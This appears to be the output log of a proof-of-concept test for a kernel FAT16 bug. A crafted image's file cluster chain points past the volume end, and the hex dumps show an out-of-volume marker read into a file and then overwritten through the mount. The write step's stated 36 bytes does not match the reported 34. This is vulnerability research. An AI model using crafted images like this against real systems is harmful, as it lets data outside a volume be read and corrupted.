=== DF-3091: craft image ===
wrote /root/df3091.img: 16384 sectors (8192 claimed by volume, FAT16: maxcluster=5119)
LEAK.TXT cluster 1 -> device block 7020 (byte 3594240), volume ends at block 8192

=== marker sector BEFORE (raw image, device block 7020, outside the 32KiB volume) ===
00000000  44 46 33 30 39 31 2d 4f  55 54 2d 4f 46 2d 56 4f  |DF3091-OUT-OF-VO|
00000010  4c 55 4d 45 2d 4d 41 52  4b 45 52 3a 00 44 45 46  |LUME-MARKER:.DEF|
00000020  47 48 49 4a 4b 4c 4d 4e  4f 50 51 52 53 54 55 56  |GHIJKLMNOPQRSTUV|
00000030

=== mount the 32KiB volume from the 8MiB device ===
mount rc=0
total 6
-rw-r--r--  1 root  wheel  1024 Dec 30  1979 CTRL.TXT
-rw-r--r--  1 root  wheel  2048 Dec 30  1979 LEAK.TXT

=== control: CTRL.TXT (proper in-volume chain, cluster 5) ===
00000000  49 4e 2d 56 4f 4c 55 4d  45 2d 43 4f 4e 54 52 4f  |IN-VOLUME-CONTRO|
00000010  4c 2d 44 41 54 41 00 43  43 43 43 43 43 43 43 43  |L-DATA.CCCCCCCCC|
00000020

=== TEST 1 (read): LEAK.TXT offset 512..1023 (file cluster 1 = phantom cluster 7000) ===
00000000  44 46 33 30 39 31 2d 4f  55 54 2d 4f 46 2d 56 4f  |DF3091-OUT-OF-VO|
00000010  4c 55 4d 45 2d 4d 41 52  4b 45 52 3a 00 44 45 46  |LUME-MARKER:.DEF|
00000020  47 48 49 4a 4b 4c 4d 4e  4f 50 51 52 53 54 55 56  |GHIJKLMNOPQRSTUV|
00000030
LEAK.TXT size:     2048

=== TEST 2 (write): 36 bytes through the mount at offset 512 ===
0+1 records in
0+1 records out
34 bytes transferred in 0.000051 secs (667452 bytes/sec)

=== marker sector AFTER (raw image, device block 7020) ===
00000000  50 57 4e 45 44 2d 42 59  2d 44 46 33 30 39 31 2d  |PWNED-BY-DF3091-|
00000010  43 52 4f 53 53 2d 56 4f  4c 55 4d 45 2d 57 52 49  |CROSS-VOLUME-WRI|
00000020  54 45 49 4a 4b 4c 4d 4e  4f 50 51 52 53 54 55 56  |TEIJKLMNOPQRSTUV|
00000030

=== DF-3091 verdict ===
If TEST 1 shows 'DF3091-OUT-OF-VOLUME-MARKER' the kernel read device
bytes 3.4MiB past the volume end into a file.  If TEST 2's marker says
'PWNED-BY-DF3091' the kernel WROTE outside the volume through the mount.